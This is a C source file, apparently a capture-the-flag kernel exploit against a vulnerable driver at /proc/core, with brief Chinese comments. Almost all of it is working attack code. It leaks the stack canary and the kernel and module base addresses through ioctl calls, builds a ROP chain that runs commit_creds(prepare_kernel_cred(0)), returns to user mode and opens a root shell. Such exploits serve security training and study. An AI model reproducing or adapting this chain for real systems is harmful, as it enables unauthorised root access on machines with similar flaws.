1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| #include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<fcntl.h> #include<string.h> #include<sys/types.h> #include<sys/wait.h> #include<sys/ioctl.h> #include<pthread.h> void setoff(int fd,long long size){ ioctl(fd,0x6677889c,size); } void core_read(int fd,char *buf){ ioctl(fd,0x6677889b,buf); } void core_copy_func(int fd,long long size){ ioctl(fd,0x6677889a,size); } size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void) { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );
puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_shell(){ system("/bin/sh"); }
int fd ; size_t tmp; char buf[0x50]; size_t rop[0x100]; size_t vmlinux_base,canary,core_base; size_t commit_creds = 0x9c8e0; size_t prepare_kernel_cred = 0x9cce0; size_t pop_rdi = 0x000b2f; size_t push_rax = 0x02d112; size_t swapgs = 0x0d6; size_t iretq ; size_t xchg = 0x16684f0; size_t call_rax = 0x40398; size_t pop_rcx = 0x21e53; size_t pop_rbp = 0x3c4; size_t pop_rdx = 0xa0f49; size_t mov_rdi_rax_call_rdx = 0x01aa6a; int i = 0;
void get_addr(){
save_status(); fd = open("/proc/core",O_RDWR); //程序创造了一个接口,所以我们需要把这个接口给打开 ,这样才能进行函数调用 if(fd < 0) { printf("Open /proc/core error!\n"); exit(0); } setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ,而且v5的数据类型是char类型。 core_read(fd,buf); //把canary读入用户态的buf
//此时buf的前八个字节是我们的canary canary = (*(size_t *)(&buf[0])); puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] Canary >> %p.\033[0m\n",canary); core_base = (*(size_t *)(&buf[2*8])) - 0x19b; puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] core_base >> %p.\033[0m\n",core_base); vmlinux_base = (*(size_t *)(&buf[4*8]) - 0x1dd6d1); puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] vmlinux_base >> %p.\033[0m\n",vmlinux_base); pop_rdi += vmlinux_base; pop_rcx += vmlinux_base; pop_rbp += vmlinux_base; pop_rdx += vmlinux_base; mov_rdi_rax_call_rdx += vmlinux_base; swapgs += core_base; iretq = 0x50ac2 + vmlinux_base; commit_creds += vmlinux_base; prepare_kernel_cred += vmlinux_base;
}
void privilege_escalation(){ if(commit_creds && prepare_kernel_cred){ (*((void (*)(char *))commit_creds))( (*((char* (*)(int))prepare_kernel_cred))(0) ); } }
int main(){ get_addr(); for(i=0;i<10;i++){ rop[i] = canary; } i = 10; rop[i++] = (size_t)privilege_escalation; rop[i++] = swapgs; //恢复用户GS寄存器 rop[i++] = 0; rop[i++] = iretq; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,i*8); core_copy_func(fd,0xf000000000000000+i*8); puts("\033[34m\033[1m[*] Attack Success! .\033[0m"); return 0; }
|